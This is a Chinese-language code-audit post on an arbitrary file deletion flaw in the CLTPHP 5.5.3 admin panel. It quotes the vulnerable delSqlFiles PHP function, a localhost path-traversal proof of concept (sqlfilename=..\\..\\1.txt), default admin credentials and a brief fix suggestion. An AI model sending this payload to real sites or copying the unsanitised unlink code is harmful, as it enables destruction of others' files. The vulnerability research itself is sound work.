【程式碼審計】CLTPHP_v5.5.3後臺任意檔案刪除漏洞分析
阿新 • • 發佈:2018-12-02
0x00 環境準備
CLTPHP官網:http://www.cltphp.com
網站原始碼版本:CLTPHP內容管理系統5.5.3版本
程式原始碼下載:https://gitee.com/chichu/cltphp
預設後臺地址: http://127.0.0.1/admin/login/index.html
預設賬號密碼: 後臺登入名:admin 密碼:admin123
測試網站首頁:
0x01 程式碼分析
1、/app/admin/controller/Database.php 第221-248行:
- public function delSqlFiles() {
- $batchFlag = input('param.batchFlag', 0, 'intval');
- //批量刪除
- if ($batchFlag) {
- $files = input('key', array());
- }else {
- $files[] = input('sqlfilename' , '');
- }
- if (empty($files)) {
- 10. $result['msg'] = '請選擇要刪除的sql檔案!';
- 11. $result['code'] = 0;
- 12. return $result;
- 13. }
- 14.
- 15. foreach ($files as $file) {
- 16. $a = unlink($this->datadir.'/' . $file);
- 17. }
- 18. if($a){
- 19. $result['msg'] = '刪除成功!';
- 20. $result['url'] = url('restore');
- 21. $result['code'] = 1;
- 22. return $result;
- 23. }else{
- 24. $result['msg'] = '刪除失敗!';
- 25. $result['code'] = 0;
- 26. return $result;
- 27. }
28. }
在這段函式中,引數sqlfilename未經任何處理,直接帶入unlink函式中刪除,導致程式在實現上存在任意檔案刪除漏洞,攻擊者可通過該漏洞刪除任意檔案。
0x02 漏洞利用
1、 在根目錄新建test.txt,作為漏洞測試檔案
2、 構造URL,成功刪除根目錄的1.txt檔案
http://127.0.0.1/admin/Database/delSqlFiles.html
POST: sqlfilename=..\\..\\1.txt
0x03 修復建議
1、對於要刪除的檔案,通過正則判斷使用者輸入的引數的格式,看輸入的格式是否合法。
最後
歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。